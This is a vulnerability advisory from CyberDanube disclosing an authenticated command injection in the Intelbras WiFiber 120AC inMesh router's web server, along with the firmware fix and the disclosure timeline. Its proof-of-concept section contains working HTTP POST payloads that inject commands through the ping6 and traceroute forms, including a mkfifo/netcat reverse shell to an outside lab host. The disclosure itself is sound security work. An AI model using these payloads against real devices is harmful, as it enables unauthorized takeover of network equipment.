CyberDanube Security Research 20221009-0
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                title| Authenticated Command Injection
              product| Intelbras WiFiber 120AC inMesh
   vulnerable version| 1.1-220216
        fixed version| 1-1-220826
           CVE number|
               impact| High
             homepage| https://www.intelbras.com
                found| 2022-08-01
                   by| T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
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Vendor description
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"We are Intelbras. A company that for 45 years has been offering innovative
solutions in security, networks, communication and energy. Our dream 
began to
come to life there in 1976, in the city of São José, having originated 
from an
INspiration and a promising idea: to manufacture PABX centrals. During the
80's, we surprised the market with the launch of the first PABX 
developed with
national technology, a product that showed everyone our innovative DNA. 
The 90s
were marked by the consolidation of the company in the telecommunications
segment and we became leaders in the PABX and telephone terminals 
segment. The
turn of the millennium represented the search for greater connection and
proximity to people, something that is in total harmony with our 
philosophy to
this day. More consolidated in the market, in 2010 we opened 3 manufacturing
units, located in Santa Rita do Sapucaí/MG, Manaus/AM and São José/SC.
We reached our 45th birthday having reached a historic milestone: we 
have been
a company listed on the B3 since February 2021. Our trajectory so far 
has been
INnovative, INtelligent and INSpiring. We saw innovation, which is part 
of our
DNA, increasingly present in our daily lives. And it was only possible to
write a story so full of achievements because employees, partners and 
customers
were close and believed in us."

Source: https://www.intelbras.com/en/institutional/who-we-are


Vulnerable versions
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WiFiber 120AC inMesh / 1.1-220216


Vulnerability overview
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1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating 
system of
the device with all implications. If such a device is acting as key 
device in
an industrial network, more extensive damage in the corresponding 
network can
be done by an attacker.


Proof of Concept
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1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. The following proof-of-concept shows how to inject the command
"ls /" to the system which gets executed in the background:

===============================================================================
POST /boaform/formPing6 HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 
Firefox/91.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/ping6.asp
Upgrade-Insecure-Requests: 1

pingAddr=%3Bls+%2F%3B&wanif=65535&go=+Ir&submit-url=%2Fping6.asp&postSecurityFlag=39908
===============================================================================

The following commands can be used to open a reverse shell:

"rm -f /tmp/f"
"mkfifo /tmp/f"
"cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.138 8889 >/tmp/f"

Those commands were sent via a crafted POST request:

===============================================================================
POST /boaform/formTracert HTTP/1.1
Host: 192.168.3.147
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 
Firefox/91.0
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
Origin: http://192.168.3.147
Connection: close
Referer: http://192.168.3.147/tracert.asp
Upgrade-Insecure-Requests: 1

proto=0&traceAddr=%3Brm+-f+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.3.138+8889+%3E%2Ftmp%2Ff%3B&trys=3&timeout=5&datasize=56&dscp=0&maxhop=30&wanif=65535&go=+Ir&submit-url=%2Ftracert.asp&postSecurityFlag=29290
===============================================================================

The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
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Update to firmware version 1-1-220826.

https://backend.intelbras.com/sites/default/files/2022-08/ONT_Wifiber_120_AC_Vers%C3%A3o_1-1-220826.zip


Workaround
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None


Recommendation
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CyberDanube recommends Intelbras customers to upgrade the firmware to the
latest version available.


Contact Timeline
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2022-08-02: Contacting Intelbras via suporte@intelbras.com.br.
2022-08-03: Request from Intelbras to send the advisory to
             csirt@intelbras.com.br; Sent the advisory to this address.
2022-08-30: Asked for status update; Vendor answered that the new firmware
             version has been released the day before. Set the 
disclosure date
             to 2022-10-03 (60 days policy).
2022-10-03: Shifted disclosure date to 2022-10-09 due to sick colleagues.
2022-10-09: Coordinated disclosure of advisory.


Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF T. Weber / @2022